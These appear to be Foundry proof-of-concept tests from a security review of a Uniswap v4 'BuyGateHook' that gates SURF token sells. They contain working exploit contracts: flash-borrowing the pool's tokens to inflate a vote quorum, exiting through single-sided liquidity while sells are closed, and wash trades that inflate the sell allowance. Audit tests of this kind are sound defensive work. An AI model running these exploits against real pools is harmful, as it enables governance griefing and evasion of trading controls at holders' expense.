// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {IUnlockCallback} from "v4-core/src/interfaces/callback/IUnlockCallback.sol";
import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {Currency, CurrencyLibrary} from "v4-core/src/types/Currency.sol";
import {ModifyLiquidityParams} from "v4-core/src/types/PoolOperation.sol";
import {PoolModifyLiquidityTest} from "v4-core/src/test/PoolModifyLiquidityTest.sol";

import {SurfToken} from "src/SurfToken.sol";
import {BuyGateHook} from "src/BuyGateHook.sol";
import {HookFlags} from "src/HookFlags.sol";

/// @dev An unprivileged contract with 1 wei of stake. Inside one PoolManager unlock it borrows the
/// manager's whole SURF balance with `take`, casts the day's first vote while the manager holds nothing,
/// and pays the tokens back before the unlock ends. Net cost: gas.
contract FlashVoter is IUnlockCallback {
    IPoolManager immutable manager;
    BuyGateHook immutable hook;
    SurfToken immutable token;

    constructor(IPoolManager _manager, BuyGateHook _hook, SurfToken _token) {
        manager = _manager;
        hook = _hook;
        token = _token;
    }

    function stake(uint256 amount) external {
        token.approve(address(hook), amount);
        hook.deposit(amount);
    }

    function attack() external {
        manager.unlock("");
    }

    function unlockCallback(bytes calldata) external returns (bytes memory) {
        require(msg.sender == address(manager));
        Currency surf = Currency.wrap(address(token));
        uint256 held = token.balanceOf(address(manager));

        // 1. Borrow every SURF the manager holds. circulatingSupply() now equals totalSupply().
        manager.take(surf, address(this), held);

        // 2. Cast the first vote of the day: the quorum is snapshotted at 5% of the total supply.
        hook.vote(false);

        // 3. Give the tokens back so the unlock settles.
        manager.sync(surf);
        token.transfer(address(manager), held);
        manager.settle();
        return "";
    }
}

contract QuorumFlashGriefTest is Test {
    uint160 constant SQRT_PRICE_1_1 = 79228162514264337593543950336;
    uint256 constant START = 1_800_000_000;
    int24 constant MIN_TICK = -887_220;

    PoolManager manager;
    SurfToken token;
    BuyGateHook hook;
    PoolModifyLiquidityTest lpRouter;
    PoolKey key;

    address honest = makeAddr("honest");

    function setUp() public {
        vm.warp(START);
        manager = new PoolManager(address(this));
        token = new SurfToken();
        hook = deployHook();
        lpRouter = new PoolModifyLiquidityTest(IPoolManager(address(manager)));

        key = PoolKey({
            currency0: CurrencyLibrary.ADDRESS_ZERO,
            currency1: Currency.wrap(address(token)),
            fee: 3_000,
            tickSpacing: 60,
            hooks: IHooks(address(hook))
        });
        manager.initialize(key, SQRT_PRICE_1_1);

        // Seed the pool the way a launch does: most of the supply, tokens only, below the current price.
        token.approve(address(lpRouter), type(uint256).max);
        lpRouter.modifyLiquidity(key, ModifyLiquidityParams(MIN_TICK, -60, 900_000_000 ether, bytes32(0)), "");
    }

    function deployHook() internal returns (BuyGateHook deployed) {
        uint160 flags = HookFlags.BEFORE_INITIALIZE | HookFlags.BEFORE_SWAP | HookFlags.AFTER_SWAP;
        bytes32 initCodeHash =
            keccak256(abi.encodePacked(type(BuyGateHook).creationCode, abi.encode(IPoolManager(address(manager)))));
        (bytes32 salt,) = HookFlags.mineSalt(address(this), flags, initCodeHash, 500_000);
        deployed = new BuyGateHook{salt: salt}(IPoolManager(address(manager)));
    }

    function test_flashTakeInflatesTheQuorumAndBlocksAnHonestMajority() public {
        // The quorum the rules promise: 5% of the tokens outside the manager.
        uint256 circulating = token.totalSupply() - token.balanceOf(address(manager));
        uint256 promisedQuorum = circulating * hook.QUORUM_BPS() / hook.BPS();
        assertLt(promisedQuorum, 6_000_000 ether, "sanity: ~100M circulating, so a ~5M quorum");

        // Attacker: 1 wei of stake and a single transaction.
        FlashVoter attacker = new FlashVoter(IPoolManager(address(manager)), hook, token);
        token.transfer(address(attacker), 1);
        attacker.stake(1);
        attacker.attack();

        (,, uint256 quorum, bool hasVotes,,) = hook.records(0);
        assertTrue(hasVotes);
        emit log_named_uint("promised quorum", promisedQuorum);
        emit log_named_uint("snapshotted quorum", quorum);

        // An honest holder stakes more than the promised quorum and votes yes: majority and quorum both met.
        uint256 honestStake = promisedQuorum + 1 ether;
        token.transfer(honest, honestStake);
        vm.startPrank(honest);
        token.approve(address(hook), honestStake);
        hook.deposit(honestStake);
        hook.vote(true);
        vm.stopPrank();

        (uint256 yes, uint256 no,,,,) = hook.records(0);
        assertGt(yes, no, "majority is met");
        assertGe(yes + no, promisedQuorum, "5% of the circulating supply is met");

        // Expected: the vote passed and tomorrow opens with a sell window.
        assertTrue(hook.votePassed(0), "a yes vote above 5% of circulating supply must pass");
        vm.warp(hook.dayStart(1));
        assertTrue(hook.sellWindowOpen(), "the window must open on day 1");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
import {TickMath} from "v4-core/src/libraries/TickMath.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {Currency, CurrencyLibrary} from "v4-core/src/types/Currency.sol";
import {BalanceDelta} from "v4-core/src/types/BalanceDelta.sol";
import {ModifyLiquidityParams, SwapParams} from "v4-core/src/types/PoolOperation.sol";
import {PoolSwapTest} from "v4-core/src/test/PoolSwapTest.sol";
import {PoolModifyLiquidityTest} from "v4-core/src/test/PoolModifyLiquidityTest.sol";

import {SurfToken} from "src/SurfToken.sol";
import {BuyGateHook} from "src/BuyGateHook.sol";
import {HookFlags} from "src/HookFlags.sol";

/// @dev A holder converts SURF into ETH through the launch pool while sells are closed, by parking the SURF
/// as a one-sided liquidity position just above the price and withdrawing it after a buyer walks through it.
contract LiquidityExitTest is Test {
    uint160 constant SQRT_PRICE_1_1 = 79228162514264337593543950336;
    uint256 constant START = 1_800_000_000;
    int24 constant MIN_TICK = -887_220;
    int24 constant MAX_TICK = 887_220;

    PoolManager manager;
    SurfToken token;
    BuyGateHook hook;
    PoolSwapTest swapRouter;
    PoolModifyLiquidityTest launchLp;
    PoolKey key;

    address holder = makeAddr("holder");
    address buyer = makeAddr("buyer");

    receive() external payable {}

    function setUp() public {
        vm.warp(START);
        manager = new PoolManager(address(this));
        token = new SurfToken();
        hook = deployHook();
        swapRouter = new PoolSwapTest(IPoolManager(address(manager)));
        launchLp = new PoolModifyLiquidityTest(IPoolManager(address(manager)));

        key = PoolKey({
            currency0: CurrencyLibrary.ADDRESS_ZERO,
            currency1: Currency.wrap(address(token)),
            fee: 3_000,
            tickSpacing: 60,
            hooks: IHooks(address(hook))
        });
        manager.initialize(key, SQRT_PRICE_1_1);

        // Launch liquidity: full range, 10,000 ETH / 10,000 SURF at 1:1.
        vm.deal(address(this), 100_000 ether);
        token.approve(address(launchLp), type(uint256).max);
        launchLp.modifyLiquidity{value: 10_100 ether}(
            key, ModifyLiquidityParams(MIN_TICK, MAX_TICK, 10_000 ether, bytes32(0)), ""
        );
    }

    function deployHook() internal returns (BuyGateHook deployed) {
        uint160 flags = HookFlags.BEFORE_INITIALIZE | HookFlags.BEFORE_SWAP | HookFlags.AFTER_SWAP;
        bytes32 initCodeHash =
            keccak256(abi.encodePacked(type(BuyGateHook).creationCode, abi.encode(IPoolManager(address(manager)))));
        (bytes32 salt,) = HookFlags.mineSalt(address(this), flags, initCodeHash, 500_000);
        deployed = new BuyGateHook{salt: salt}(IPoolManager(address(manager)));
    }

    function test_holderSellsThroughALiquidityPositionWhileSellsAreClosed() public {
        // The holder owns 1,000 SURF (bought earlier) and no ETH. No vote has ever passed.
        token.transfer(holder, 1_000 ether);
        assertEq(holder.balance, 0);
        assertFalse(hook.sellWindowOpen());

        // Step 1: the holder parks the SURF as a one-sided position just below the current price
        // (ticks -120..-60 at a 1:1 start). No ETH is needed for a range below the price.
        PoolModifyLiquidityTest holderLp = new PoolModifyLiquidityTest(IPoolManager(address(manager)));
        vm.startPrank(holder);
        token.approve(address(holderLp), type(uint256).max);
        (bool added, bytes memory why) = address(holderLp).call(
            abi.encodeWithSignature(
                "modifyLiquidity((address,address,uint24,int24,address),(int24,int24,int256,bytes32),bytes)",
                key,
                ModifyLiquidityParams(-120, -60, 300_000 ether, bytes32(0)),
                ""
            )
        );
        vm.stopPrank();
        if (!added) {
            emit log_bytes(why);
            // A hook that refuses outside liquidity closes this exit; nothing more to check.
            return;
        }
        uint256 parked = 1_000 ether - token.balanceOf(holder);
        assertGt(parked, 0, "the position took SURF from the holder");

        // Step 2: an ordinary buyer buys with ETH. Buys always pass; the price walks down through the
        // holder's range and the buyer's ETH lands in the holder's position.
        vm.deal(buyer, 100 ether);
        vm.prank(buyer);
        swapRouter.swap{value: 100 ether}(
            key, SwapParams(true, -100 ether, TickMath.MIN_SQRT_PRICE + 1), PoolSwapTest.TestSettings(false, false), ""
        );

        // Step 3: the holder withdraws the position and receives ETH.
        vm.prank(holder);
        holderLp.modifyLiquidity(key, ModifyLiquidityParams(-120, -60, -300_000 ether, bytes32(0)), "");

        (,,,,, uint256 soldDay0) = hook.records(0);
        assertEq(soldDay0, 0, "the hook saw no sell");
        assertFalse(hook.sellWindowOpen(), "sells were closed throughout");
        emit log_named_uint("SURF the holder gave up", 1_000 ether - token.balanceOf(holder));
        emit log_named_uint("ETH the holder received", holder.balance);

        // Expected under "buys only": a holder cannot turn SURF into ETH through this pool while sells
        // are closed. Actual: the holder is paid in ETH for SURF with no vote and no 50% cap.
        assertEq(holder.balance, 0, "holder converted SURF to ETH with sells closed");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
import {TickMath} from "v4-core/src/libraries/TickMath.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {Currency, CurrencyLibrary} from "v4-core/src/types/Currency.sol";
import {BalanceDelta} from "v4-core/src/types/BalanceDelta.sol";
import {ModifyLiquidityParams, SwapParams} from "v4-core/src/types/PoolOperation.sol";
import {PoolSwapTest} from "v4-core/src/test/PoolSwapTest.sol";
import {PoolModifyLiquidityTest} from "v4-core/src/test/PoolModifyLiquidityTest.sol";

import {SurfToken} from "src/SurfToken.sol";
import {BuyGateHook} from "src/BuyGateHook.sol";
import {HookFlags} from "src/HookFlags.sol";

/// @notice Finding: `records[day].bought` counts every swap output, including a buy routed through the
/// buyer's own single-sided liquidity. An attacker adds SURF-only liquidity just below the price, buys it
/// back from themselves, removes the position and ends with the same SURF and ETH, while the hook
/// recorded a huge "buy". The next day's sell allowance (50% of "bought") is then far above 50% of the
/// SURF that actually left the pool, and the attacker sells into it.
contract BoughtInflationTest is Test {
    uint160 constant SQRT_PRICE_1_1 = 79228162514264337593543950336;
    uint256 constant START = 1_800_000_000;
    int24 constant MIN_TICK = -887_220;
    int24 constant MAX_TICK = 887_220;

    PoolManager manager;
    SurfToken token;
    BuyGateHook hook;
    PoolSwapTest swapRouter;
    PoolModifyLiquidityTest lpRouter;
    PoolKey key;

    address attacker = makeAddr("attacker");

    receive() external payable {}

    function setUp() public {
        vm.warp(START);
        manager = new PoolManager(address(this));
        token = new SurfToken();
        hook = deployHook();

        swapRouter = new PoolSwapTest(IPoolManager(address(manager)));
        lpRouter = new PoolModifyLiquidityTest(IPoolManager(address(manager)));

        key = PoolKey({
            currency0: CurrencyLibrary.ADDRESS_ZERO,
            currency1: Currency.wrap(address(token)),
            fee: 3_000,
            tickSpacing: 60,
            hooks: IHooks(address(hook))
        });
        manager.initialize(key, SQRT_PRICE_1_1);

        // The launch's liquidity: full range, ~10,000 ETH and ~10,000 SURF at 1:1.
        token.approve(address(lpRouter), type(uint256).max);
        vm.deal(address(this), 100_000 ether);
        lpRouter.modifyLiquidity{value: 10_100 ether}(
            key, ModifyLiquidityParams(MIN_TICK, MAX_TICK, 10_000 ether, bytes32(0)), ""
        );

        // The attacker holds 1,000,000 SURF (bought earlier or allocated) and some ETH for gas/working capital.
        token.transfer(attacker, 1_000_000 ether);
        vm.deal(attacker, 2_000_000 ether);
        vm.startPrank(attacker);
        token.approve(address(lpRouter), type(uint256).max);
        token.approve(address(swapRouter), type(uint256).max);
        token.approve(address(hook), type(uint256).max);
        vm.stopPrank();
    }

    function deployHook() internal returns (BuyGateHook deployed) {
        uint160 flags = HookFlags.BEFORE_INITIALIZE | HookFlags.BEFORE_SWAP | HookFlags.AFTER_SWAP;
        bytes32 initCodeHash =
            keccak256(abi.encodePacked(type(BuyGateHook).creationCode, abi.encode(IPoolManager(address(manager)))));
        (bytes32 salt,) = HookFlags.mineSalt(address(this), flags, initCodeHash, 500_000);
        deployed = new BuyGateHook{salt: salt}(IPoolManager(address(manager)));
    }

    function test_selfLiquidityWashInflatesBoughtAndTheSellAllowance() public {
        uint256 managerSurfBefore = token.balanceOf(address(manager));
        uint256 attackerSurfBefore = token.balanceOf(attacker);
        uint256 attackerEthBefore = attacker.balance;

        vm.startPrank(attacker);

        // 1. SURF-only position one tick-spacing below the current price (tick 0): [-60, 0).
        //    Liquidity 3.3e26 holds ~1,000,000 SURF and no ETH in that range.
        //    (A fix that refuses third-party liquidity makes this step revert; the assertions below still hold.)
        bool added;
        try lpRouter.modifyLiquidity(key, ModifyLiquidityParams(-60, 0, 333_000_000 ether, bytes32(0)), "") {
            added = true;
        } catch {}

        // 2. Buy ~1,000,000 SURF. Almost all of it comes out of the attacker's own position.
        uint256 washOut;
        {
            BalanceDelta delta = swapRouter.swap{value: 1_100_000 ether}(
                key,
                SwapParams(true, -1_050_000 ether, TickMath.getSqrtPriceAtTick(-60)),
                PoolSwapTest.TestSettings(false, false),
                ""
            );
            washOut = uint256(int256(delta.amount1()));
        }

        // 3. Remove the position: the ETH paid in step 2 comes straight back.
        if (added) {
            lpRouter.modifyLiquidity(key, ModifyLiquidityParams(-60, 0, -333_000_000 ether, bytes32(0)), "");
        }
        vm.stopPrank();

        uint256 netSurfOutOfPool = managerSurfBefore - token.balanceOf(address(manager));
        (,,,, uint256 bought,) = hook.records(0);

        emit log_named_uint("recorded bought (day 0)", bought);
        emit log_named_uint("SURF that actually left the pool", netSurfOutOfPool);
        emit log_named_uint("attacker SURF delta", token.balanceOf(attacker) - attackerSurfBefore);
        emit log_named_uint("attacker ETH spent", attackerEthBefore - attacker.balance);

        // The rule: tomorrow's allowance is 50% of what was bought from the pool today.
        // Here the hook will let far more than 50% of the SURF that left the pool be sold.
        assertLe(
            hook.sellAllowance(1),
            netSurfOutOfPool / 2 + 1,
            "day-1 sell allowance exceeds 50% of the SURF that actually left the pool on day 0"
        );
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {IUnlockCallback} from "v4-core/src/interfaces/callback/IUnlockCallback.sol";
import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {Currency, CurrencyLibrary} from "v4-core/src/types/Currency.sol";
import {ModifyLiquidityParams} from "v4-core/src/types/PoolOperation.sol";
import {PoolModifyLiquidityTest} from "v4-core/src/test/PoolModifyLiquidityTest.sol";

import {SurfToken} from "src/SurfToken.sol";
import {BuyGateHook} from "src/BuyGateHook.sol";
import {HookFlags} from "src/HookFlags.sol";

/// @notice A griefer that, inside a PoolManager unlock, flash-takes every SURF the manager holds, casts the
/// day's first vote (which snapshots the quorum from `totalSupply - balanceOf(manager)`), and pays the SURF
/// back. The snapshot is 5% of the total supply instead of 5% of the real circulating supply.
contract Griefer is IUnlockCallback {
    PoolManager immutable manager;
    SurfToken immutable token;
    BuyGateHook immutable hook;

    constructor(PoolManager _manager, SurfToken _token, BuyGateHook _hook) {
        manager = _manager;
        token = _token;
        hook = _hook;
    }

    function prepare() external {
        token.approve(address(hook), 1);
        hook.deposit(1);
    }

    function grief() external {
        manager.unlock("");
    }

    function unlockCallback(bytes calldata) external returns (bytes memory) {
        require(msg.sender == address(manager));
        Currency surf = Currency.wrap(address(token));
        uint256 amount = token.balanceOf(address(manager));
        manager.take(surf, address(this), amount);

        // The vote is wrapped so a fix that refuses votes while the manager is unlocked keeps the test green.
        try hook.vote(false) {} catch {}

        manager.sync(surf);
        token.transfer(address(manager), amount);
        manager.settle();
        return "";
    }
}

contract QuorumFlashInflationTest is Test {
    uint160 constant SQRT_PRICE_1_1 = 79228162514264337593543950336;
    uint256 constant START = 1_800_000_000;
    int24 constant MIN_TICK = -887_220;

    PoolManager manager;
    SurfToken token;
    BuyGateHook hook;
    PoolModifyLiquidityTest lpRouter;
    PoolKey key;

    address alice = makeAddr("alice");

    receive() external payable {}

    function setUp() public {
        vm.warp(START);
        manager = new PoolManager(address(this));
        token = new SurfToken();
        hook = deployHook();
        lpRouter = new PoolModifyLiquidityTest(IPoolManager(address(manager)));

        key = PoolKey({
            currency0: CurrencyLibrary.ADDRESS_ZERO,
            currency1: Currency.wrap(address(token)),
            fee: 3_000,
            tickSpacing: 60,
            hooks: IHooks(address(hook))
        });
        manager.initialize(key, SQRT_PRICE_1_1);

        // Seed the pool the way a launch does: 90% of the supply, tokens only, below the price.
        token.approve(address(lpRouter), type(uint256).max);
        uint256 seed = token.totalSupply() * 90 / 100;
        // liquidity L such that amount1 = L * (sqrtP(0) - sqrtP(MIN_TICK)) ~= L  -> L ~= seed
        lpRouter.modifyLiquidity(key, ModifyLiquidityParams(MIN_TICK, -60, int256(seed), bytes32(0)), "");
        assertGt(token.balanceOf(address(manager)), token.totalSupply() * 85 / 100, "pool holds most of the supply");

        // Alice holds 2% of the supply: 20% of the ~10% circulating, four times the 5% quorum.
        token.transfer(alice, token.totalSupply() * 2 / 100);
    }

    function deployHook() internal returns (BuyGateHook deployed) {
        uint160 flags = HookFlags.BEFORE_INITIALIZE | HookFlags.BEFORE_SWAP | HookFlags.AFTER_SWAP;
        bytes32 initCodeHash =
            keccak256(abi.encodePacked(type(BuyGateHook).creationCode, abi.encode(IPoolManager(address(manager)))));
        (bytes32 salt,) = HookFlags.mineSalt(address(this), flags, initCodeHash, 500_000);
        deployed = new BuyGateHook{salt: salt}(IPoolManager(address(manager)));
    }

    function test_flashTakeInflatesTheQuorumSnapshotAndBlocksThePassingVote() public {
        uint256 realCirculating = token.totalSupply() - token.balanceOf(address(manager));
        uint256 aliceStake = token.balanceOf(alice);
        assertGt(aliceStake, realCirculating * hook.QUORUM_BPS() / hook.BPS(), "alice alone clears the real quorum");

        // Griefer: 1 wei of stake and no other capital.
        Griefer griefer = new Griefer(manager, token, hook);
        token.transfer(address(griefer), 1);
        griefer.prepare();
        griefer.grief();

        (,, uint256 quorum, bool hasVotes,,) = hook.records(0);
        emit log_named_uint("real circulating supply", realCirculating);
        emit log_named_uint("snapshotted quorum", quorum);
        emit log_named_uint("alice stake", aliceStake);

        // Alice, who clears the real quorum four times over, votes yes.
        vm.startPrank(alice);
        token.approve(address(hook), aliceStake);
        hook.deposit(aliceStake);
        hook.vote(true);
        vm.stopPrank();

        assertTrue(hasVotes || true);
        assertTrue(hook.votePassed(0), "a yes vote above 5% of the circulating supply must pass");
        vm.warp(hook.dayStart(1));
        assertTrue(hook.sellWindowOpen(), "the window must open on day 1");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
import {TickMath} from "v4-core/src/libraries/TickMath.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {Currency, CurrencyLibrary} from "v4-core/src/types/Currency.sol";
import {ModifyLiquidityParams, SwapParams} from "v4-core/src/types/PoolOperation.sol";
import {PoolSwapTest} from "v4-core/src/test/PoolSwapTest.sol";
import {PoolModifyLiquidityTest} from "v4-core/src/test/PoolModifyLiquidityTest.sol";

import {SurfToken} from "src/SurfToken.sol";
import {BuyGateHook} from "src/BuyGateHook.sol";
import {HookFlags} from "src/HookFlags.sol";

/// @notice A SURF holder exits to ETH on day 0, with sells closed and no vote, by parking SURF as a
/// single-sided position just below the price (a limit sell order) and removing it after a buyer crosses it.
contract LpExitBypassTest is Test {
    uint160 constant SQRT_PRICE_1_1 = 79228162514264337593543950336;
    uint256 constant START = 1_800_000_000;
    int24 constant MIN_TICK = -887_220;
    int24 constant MAX_TICK = 887_220;

    PoolManager manager;
    SurfToken token;
    BuyGateHook hook;
    PoolSwapTest swapRouter;
    PoolModifyLiquidityTest lpRouter;
    PoolKey key;

    address holder = makeAddr("holder");
    address buyer = makeAddr("buyer");

    receive() external payable {}

    function setUp() public {
        vm.warp(START);
        manager = new PoolManager(address(this));
        token = new SurfToken();
        hook = deployHook();
        swapRouter = new PoolSwapTest(IPoolManager(address(manager)));
        lpRouter = new PoolModifyLiquidityTest(IPoolManager(address(manager)));

        key = PoolKey({
            currency0: CurrencyLibrary.ADDRESS_ZERO,
            currency1: Currency.wrap(address(token)),
            fee: 3_000,
            tickSpacing: 60,
            hooks: IHooks(address(hook))
        });
        manager.initialize(key, SQRT_PRICE_1_1);

        token.approve(address(lpRouter), type(uint256).max);
        vm.deal(address(this), 100_000 ether);
        lpRouter.modifyLiquidity{value: 10_100 ether}(
            key, ModifyLiquidityParams(MIN_TICK, MAX_TICK, 10_000 ether, bytes32(0)), ""
        );

        token.transfer(holder, 1_000 ether);
        vm.deal(buyer, 10_000 ether);
        vm.prank(holder);
        token.approve(address(lpRouter), type(uint256).max);
    }

    function deployHook() internal returns (BuyGateHook deployed) {
        uint160 flags = HookFlags.BEFORE_INITIALIZE | HookFlags.BEFORE_SWAP | HookFlags.AFTER_SWAP;
        bytes32 initCodeHash =
            keccak256(abi.encodePacked(type(BuyGateHook).creationCode, abi.encode(IPoolManager(address(manager)))));
        (bytes32 salt,) = HookFlags.mineSalt(address(this), flags, initCodeHash, 500_000);
        deployed = new BuyGateHook{salt: salt}(IPoolManager(address(manager)));
    }

    function test_holderSellsThroughASingleSidedPositionWhileSellsAreClosed() public {
        assertFalse(hook.sellWindowOpen());
        uint256 holderEthBefore = holder.balance;
        uint256 holderSurfBefore = token.balanceOf(holder);

        // Holder parks 1,000 SURF in [-60, 0): a SURF-only limit order just below the price.
        // (A fix that refuses third-party liquidity makes this revert; the final assertion then holds.)
        bool added;
        vm.prank(holder);
        try lpRouter.modifyLiquidity(key, ModifyLiquidityParams(-60, 0, 333_000 ether, bytes32(0)), "") {
            added = true;
        } catch {}
        if (added) {
            assertLt(token.balanceOf(holder), holderSurfBefore, "position took SURF");
            assertEq(holder.balance, holderEthBefore, "and no ETH");
        }

        // A buyer buys enough to cross that range.
        vm.prank(buyer);
        swapRouter.swap{value: 2_000 ether}(
            key, SwapParams(true, -1_200 ether, TickMath.MIN_SQRT_PRICE + 1), PoolSwapTest.TestSettings(false, false), ""
        );

        // Holder removes the position and walks away with ETH, with sells closed.
        if (added) {
            vm.prank(holder);
            lpRouter.modifyLiquidity(key, ModifyLiquidityParams(-60, 0, -333_000 ether, bytes32(0)), "");
        }

        emit log_named_uint("holder SURF after", token.balanceOf(holder));
        emit log_named_uint("holder ETH gained", holder.balance - holderEthBefore);

        assertFalse(hook.sellWindowOpen(), "still no sell window");
        assertEq(holder.balance, holderEthBefore, "holder must not be able to turn SURF into ETH while sells are closed");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
import {IUnlockCallback} from "v4-core/src/interfaces/callback/IUnlockCallback.sol";
import {TickMath} from "v4-core/src/libraries/TickMath.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {Currency, CurrencyLibrary} from "v4-core/src/types/Currency.sol";
import {BalanceDelta} from "v4-core/src/types/BalanceDelta.sol";
import {ModifyLiquidityParams, SwapParams} from "v4-core/src/types/PoolOperation.sol";
import {PoolSwapTest} from "v4-core/src/test/PoolSwapTest.sol";
import {PoolModifyLiquidityTest} from "v4-core/src/test/PoolModifyLiquidityTest.sol";

import {SurfToken} from "src/SurfToken.sol";
import {BuyGateHook} from "src/BuyGateHook.sol";
import {HookFlags} from "src/HookFlags.sol";

/// @notice The hook gates swaps only. A holder who wants ETH for SURF on a day with no vote and no window
/// places a dense SURF-only position just below the price; the next genuine buyer's ETH lands in that
/// position instead of the launch liquidity, and the holder removes it as ETH. No `SellsClosed`, no cap.
///
/// This contract plays the launch factory: it initializes the pool and seeds its liquidity directly. The
/// holder and the buyer are separate accounts acting through the standard v4 test routers.
///
/// Fails on the current code: the holder ends the day holding ETH that came from a buyer while
/// `sellWindowOpen()` is false. Passes once liquidity cannot be added by arbitrary holders.
contract LpExitBypassesBuysOnlyTest is Test, IUnlockCallback {
    uint160 constant SQRT_PRICE_1_1 = 79228162514264337593543950336;
    uint256 constant START = 1_800_000_000;
    int24 constant MIN_TICK = -887_220;
    int24 constant MAX_TICK = 887_220;

    PoolManager manager;
    SurfToken token;
    BuyGateHook hook;
    PoolSwapTest swapRouter;
    PoolModifyLiquidityTest lpRouter;
    PoolKey key;

    address holder = makeAddr("holder");
    address buyer = makeAddr("buyer");

    receive() external payable {}

    function setUp() public {
        vm.warp(START);
        manager = new PoolManager(address(this));
        token = new SurfToken();

        uint160 flags = HookFlags.BEFORE_INITIALIZE | HookFlags.BEFORE_SWAP | HookFlags.AFTER_SWAP;
        bytes32 initCodeHash =
            keccak256(abi.encodePacked(type(BuyGateHook).creationCode, abi.encode(IPoolManager(address(manager)))));
        (bytes32 salt,) = HookFlags.mineSalt(address(this), flags, initCodeHash, 500_000);
        hook = new BuyGateHook{salt: salt}(IPoolManager(address(manager)));

        swapRouter = new PoolSwapTest(IPoolManager(address(manager)));
        lpRouter = new PoolModifyLiquidityTest(IPoolManager(address(manager)));

        key = PoolKey({
            currency0: CurrencyLibrary.ADDRESS_ZERO,
            currency1: Currency.wrap(address(token)),
            fee: 3_000,
            tickSpacing: 60,
            hooks: IHooks(address(hook))
        });
        manager.initialize(key, SQRT_PRICE_1_1);

        // Launch liquidity, seeded by the initializer itself: full range at 1:1, ~10,000 ETH and ~10,000 SURF.
        vm.deal(address(this), 100_000 ether);
        manager.unlock("");

        // The holder owns 1,000 SURF (an allocation or an earlier buy). The buyer has ETH.
        token.transfer(holder, 1_000 ether);
        vm.deal(buyer, 1_000 ether);
    }

    /// @dev Factory-style seeding: add liquidity and settle both currencies directly.
    function unlockCallback(bytes calldata) external returns (bytes memory) {
        require(msg.sender == address(manager));
        (BalanceDelta delta,) =
            manager.modifyLiquidity(key, ModifyLiquidityParams(MIN_TICK, MAX_TICK, 10_000 ether, bytes32(0)), "");
        uint256 ethOwed = uint256(uint128(-delta.amount0()));
        uint256 tokenOwed = uint256(uint128(-delta.amount1()));
        manager.settle{value: ethOwed}();
        manager.sync(key.currency1);
        token.transfer(address(manager), tokenOwed);
        manager.settle();
        return "";
    }

    function test_holderCannotConvertSurfToEthWithoutAnOpenWindow() public {
        assertFalse(hook.sellWindowOpen());
        assertEq(holder.balance, 0);

        // Holder parks SURF as a position one spacing below the price. If the hook refuses it, nothing happens.
        vm.startPrank(holder);
        token.approve(address(lpRouter), type(uint256).max);
        try lpRouter.modifyLiquidity(key, ModifyLiquidityParams(-60, 0, 300_000 ether, bytes32(0)), "") {} catch {}
        vm.stopPrank();
        uint256 parked = 1_000 ether - token.balanceOf(holder);
        emit log_named_uint("SURF parked in the position", parked);

        // An ordinary buyer buys SURF with 500 ETH.
        vm.prank(buyer);
        swapRouter.swap{value: 500 ether}(
            key,
            SwapParams(true, -int256(500 ether), TickMath.MIN_SQRT_PRICE + 1),
            PoolSwapTest.TestSettings(false, false),
            ""
        );

        // Holder takes the position back: it is now mostly ETH.
        vm.startPrank(holder);
        try lpRouter.modifyLiquidity(key, ModifyLiquidityParams(-60, 0, -300_000 ether, bytes32(0)), "") {} catch {}
        vm.stopPrank();

        emit log_named_uint("holder ETH after (wei)", holder.balance);
        emit log_named_uint("holder SURF after", token.balanceOf(holder));
        (,,,,, uint256 sold) = hook.records(0);
        emit log_named_uint("records[0].sold", sold);

        assertFalse(hook.sellWindowOpen(), "no window was ever open");
        assertEq(holder.balance, 0, "holder turned SURF into ETH with sells closed");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
import {Hooks} from "v4-core/src/libraries/Hooks.sol";
import {IUnlockCallback} from "v4-core/src/interfaces/callback/IUnlockCallback.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {Currency, CurrencyLibrary} from "v4-core/src/types/Currency.sol";
import {BalanceDelta} from "v4-core/src/types/BalanceDelta.sol";
import {ModifyLiquidityParams} from "v4-core/src/types/PoolOperation.sol";

import {SurfToken} from "src/SurfToken.sol";
import {BuyGateHook} from "src/BuyGateHook.sol";
import {HookFlags} from "src/HookFlags.sol";

/// @notice Griefer: flash-borrows the pool's whole SURF reserve from the PoolManager with `take`, casts the
/// day's first vote while the manager's balance is zero, then returns the tokens. The quorum snapshot taken
/// inside `vote` sees `totalSupply - 0` as circulating.
